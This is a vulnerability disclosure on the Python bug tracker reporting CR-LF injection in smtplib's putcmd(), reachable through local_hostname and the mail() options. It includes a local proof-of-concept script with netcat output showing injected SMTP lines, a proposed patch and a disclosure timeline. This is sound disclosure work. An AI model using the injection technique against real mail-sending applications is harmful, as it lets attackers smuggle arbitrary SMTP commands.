Message386481
// reported via PSRT email (see timeline; last contact: Alex/PSRT)
// external reference: http://consensys.net/diligence/vulnerabilities/private/z5kxjgfmja4offxbrw1miuxwezggajjfswlz9g2hfuh77we5dy727hqy5x9ii43e/
cve:
vendor: python
vendorUrl: https://www.python.org/
authors: tintinweb
affectedVersions: [at least 3.8.3, <=3.7.8, <=3.6.11, <=3.5.9, <=2.7.18]
vulnClass: CWE-93
# Vulnerability Note
## Summary
>Python is a programming language that lets you work more quickly and integrate your systems more effectively.
Two CR-LF injection points have been discovered in the Python standard library for `SMTP` interaction (client perspective) named `smtplib` that may allow a malicious user with direct access to `smtplib.SMTP(..., local_hostname, ..)` or `smtplib.SMTP(...).mail(..., options)` to inject a CR-LF control sequence to inject arbitrary `SMTP` commands into the protocol stream.
The root cause of this is likely to be found in the design of the `putcmd(cmd, args)` method, that fails to validate that `cmd` nor `args` contains any protocol control sequences (i.e. `CR-LF`).
It is recommended to reject or encode `\r\n` in `putcmd()` and enforce that potential multi-line commands call `putcmd()` multiple times to avoid that malicious input breaks the expected context of the method and hence cause unexpected behavior. For reference, the `DATA` command (multi-line) would not be affected by this change as it calls `putcmd()` only once and continues with directly interacting with the socket to submit the body.
## Details
### Description
The root cause of this (and probably also some earlier reported CR-LF injections) is the method `putcmd()` in `lib/smtplib.py`[3]. The method is called by multiple commands and does not validate that neither `cmd` nor `args` contains any `CRLF` sequences.
```python
def putcmd(self, cmd, args=""):
"""Send a command to the server."""
if args == "":
str = '%s%s' % (cmd, CRLF)
else:
str = '%s %s%s' % (cmd, args, CRLF)
self.send(str)
```
However, the issue was initially found in `mail(..., options)` [4] which fails to ensure that none of the provided `options` contains `CRLF` characters. The method only ensures that provides mail addresses are quoted, `optionslist` is untouched:
```python
self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist))
```
A similar issue was found with `smtplib.SMTP(...,local_hostname)` (and `helo(name)`, `ehlo(name)`) which may potentially contain `CRLF` sequences and, therefore, can be used to inject `SMTP` commands.
Here's a snipped of `helo` [5]
```python
def helo(self, name=''):
"""SMTP 'helo' command.
Hostname to send for this command defaults to the FQDN of the local
host.
"""
self.putcmd("helo", name or self.local_hostname)
(code, msg) = self.getreply()
self.helo_resp = msg
return (code, msg)
```
We highly recommend, fixing this issue once and for all directly in `putcmd()` and enforce that the interface can only send one command at a time, rejecting arguments that contain `CRLF` sequences or properly encoding them to avoid injection.
## Proof of Concept
1. set-up a local tcp listener `⇒ nc -l 10001`
2. run the following PoC and replay the server part as outline in 3.
```python
import smtplib
server = smtplib.SMTP('localhost', 10001, "hi\nX-INJECTED") # localhostname CRLF injection
server.set_debuglevel(1)
server.sendmail("hi@me.com", "you@me.com", "wazzuuup\nlinetwo")
server.mail("hi@me.com",["X-OPTION\nX-INJECTED-1","X-OPTION2\nX-INJECTED-2"]) # options CRLF injection
```
3. interact with `smtplib`, check for `X-INJECTED`
```
⇒ nc -l 10001
nc -l 10001
220 yo
ehlo hi
X-INJECTED
250-AUTH PLAIN
250
mail FROM:<hi@me.com>
250 ok
rcpt TO:<you@me.com>
250 ok
data
354 End data with <CR><LF>.<CR><LF>
wazzuuup
linetwo
.
250 ok
mail FROM:<hi@me.com> X-OPTION
X-INJECTED-1 X-OPTION2
X-INJECTED-2
250 ok
quit
250 ok
```
### Proposed Fix
* enforce that `putcmd` emits exactly one command at a time and encode `\n -> \\n`.
```diff
diff --git a/Lib/smtplib.py b/Lib/smtplib.py
index e2dbbbc..9c16e7d 100755
--- a/Lib/smtplib.py
+++ b/Lib/smtplib.py
@@ -365,10 +365,10 @@ class SMTP:
def putcmd(self, cmd, args=""):
"""Send a command to the server."""
if args == "":
- str = '%s%s' % (cmd, CRLF)
+ str = cmd
else:
- str = '%s %s%s' % (cmd, args, CRLF)
- self.send(str)
+ str = '%s %s' % (cmd, args)
+ self.send('%s%s' % (str.replace('\n','\\n'), CRLF))
```
## Vendor Response
Vendor response: gone silent
### Timeline
```
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
JUL/04/2020 - confirmed that vulnerability note was received
SEP/10/2020 - requested status update.
```
## References
* [1] https://www.python.org/
* [2] https://www.python.org/downloads/
* [3] https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L365-L371
* [4] https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L520
* [5] https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L428-L445 |
|
Date |
User |
Action |
Args |
2021-02-04 13:05:34 | martin.ortner | set | recipients:
+ martin.ortner, barry, r.david.murray |
2021-02-04 13:05:34 | martin.ortner | set | messageid: <1612443934.09.0.696762333019.issue43124@roundup.psfhosted.org> |
2021-02-04 13:05:34 | martin.ortner | link | issue43124 messages |
2021-02-04 13:05:33 | martin.ortner | create | |
|